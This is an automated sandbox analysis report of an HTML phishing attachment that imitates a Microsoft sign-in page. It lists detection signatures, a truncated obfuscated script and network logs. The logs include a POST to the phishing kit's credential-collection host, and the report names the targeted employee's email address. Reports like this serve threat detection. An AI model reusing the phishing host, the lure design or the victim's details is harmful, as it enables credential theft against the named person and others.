Edit tour

Windows Analysis Report
#U25baPlay_VM-Now(John.moorer)ATTT0003.html

Overview

General Information

Sample name:	#U25baPlay_VM-Now(John.moorer)ATTT0003.html renamed because original name is a hash value
Original sample name:	Play_VM-Now(John.moorer)ATTT0003.html
Analysis ID:	1644506
MD5:	6f6ebc5312efbec8a578c12673e1be48
SHA1:	7f9c493afd4b47150295fb23dafccd264b62b6a7
SHA256:	d37edaf72984338fec15ca85a19d7e26e3de2f3ce998201db90408d26b8ab942
Infos:

Detection

HTMLPhisher

Score:	84
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

Yara detected obfuscated html page

Detected javascript redirector / loader

HTML document with suspicious name

HTML document with suspicious title

HTML file submission containing password form

HTML sample is only containing javascript code

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

None HTTPS page querying sensitive user data (password, username or email)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5240 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5480 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1916,i,6179367452163744603,9659140585519175776,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=1984 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7564 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1916,i,6179367452163744603,9659140585519175776,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5032 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7768 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\#U25baPlay_VM-Now(John.moorer)ATTT0003.html" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
#U25baPlay_VM-Now(John.moorer)ATTT0003.html	JoeSecurity_Obshtml	Yara detected obfuscated html page	Joe Security

HTML

Source	Rule	Description	Author	Strings
0.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

• Phishing
• Compliance
• Networking
• System Summary
• Stealing of Sensitive Information

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html

Joe Sandbox AI: Score: 10 Reasons: HTML file with login form DOM: 0.1.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Yara detected obfuscated html page

Source: Yara match

File source: #U25baPlay_VM-Now(John.moorer)ATTT0003.html, type: SAMPLE

Detected javascript redirector / loader

Source: #U25baPlay_VM-Now(John.moorer)ATTT0003.html

HTTP Parser: Low number of body elements: 0

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html

Tab title: Sign in to your account

HTML sample is only containing javascript code

Source: #U25baPlay_VM-Now(John.moorer)ATTT0003.html

HTTP Parser: <script>var _0x5bf28e=_0xef96;function _0xef96(_0x35fc8c,_0x541956){var _0x14e2d9=_0x3ab4();return _0xef96=function(_0x513069,_0x3194a6){_0x513069=_0x513069-(0x2367+-0xf42+0x1*-0x1367);var _0x27c60e=_0x14e2d9[_0x513069];if(_0xef96['\x51\x69\x42\x...

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: #U25baPlay_VM-Now(John.moorer)ATTT0003.html

HTTP Parser: Base64 decoded: john.moorer@dteenergy.com

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html

HTTP Parser: Title: Sign in to your account does not match URL

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html	HTTP Parser: Invalid link: Privacy statement
Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html	HTTP Parser: Invalid link: Privacy statement

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(John.moorer)ATTT0003.html	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.251.41.4:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.152.64.193:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.181:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.56.162.51:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.201.1:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.181:443 -> 192.168.2.5:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.5:49753 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 23.209.72.9 23.209.72.9
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.80.99
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.80.99
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.40
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.152.22
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.152.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.152.22
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.152.22
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.152.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.152.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.152.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.152.22
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: nullsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveOrigin: nullsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveOrigin: nullsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /attach%2Fbootstrap.min.js HTTP/1.1Host: 1419993777-1317754460.cos.ap-singapore.myqcloud.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1Host: res.cloudinary.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1Host: res.cloudinary.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: ableg.venue.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: ableg.venue.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-fgnlb6oer4ubn9eew2k2l3xqusibtnwnhg5xa5gn1hq/logintenantbranding/0/bannerlogo?ts=638477429657370653 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-fgnlb6oer4ubn9eew2k2l3xqusibtnwnhg5xa5gn1hq/logintenantbranding/0/bannerlogo?ts=638477429657370653 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: ableg.venue.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: ableg.venue.it.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 1419993777-1317754460.cos.ap-singapore.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: ableg.venue.it.com
Source: global traffic	DNS traffic detected: DNS query: res.cloudinary.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msauthimages.net
Source: global traffic	DNS traffic detected: DNS query: beacons.gcp.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons2.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons3.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons4.gvt2.com

Source: unknown

HTTP traffic detected: POST /google.php HTTP/1.1Host: ableg.venue.it.comConnection: keep-aliveContent-Length: 13sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0Accept: */*Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: chromecache_113.3.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_105.3.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_112.3.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_112.3.dr, chromecache_105.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_112.3.dr, chromecache_105.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 142.251.41.4:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.152.64.193:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.181:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.56.162.51:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.201.1:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.129.181:443 -> 192.168.2.5:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.5:49753 version: TLS 1.2

System Summary

HTML document with suspicious name

Source: Name includes: #U25baPlay_VM-Now(John.moorer)ATTT0003.html

Initial sample: play

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir5240_962004855

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir5240_962004855

Jump to behavior

Source: classification engine

Classification label: mal84.phis.winHTML@24/27@127/11

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1916,i,6179367452163744603,9659140585519175776,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=1984 /prefetch:3
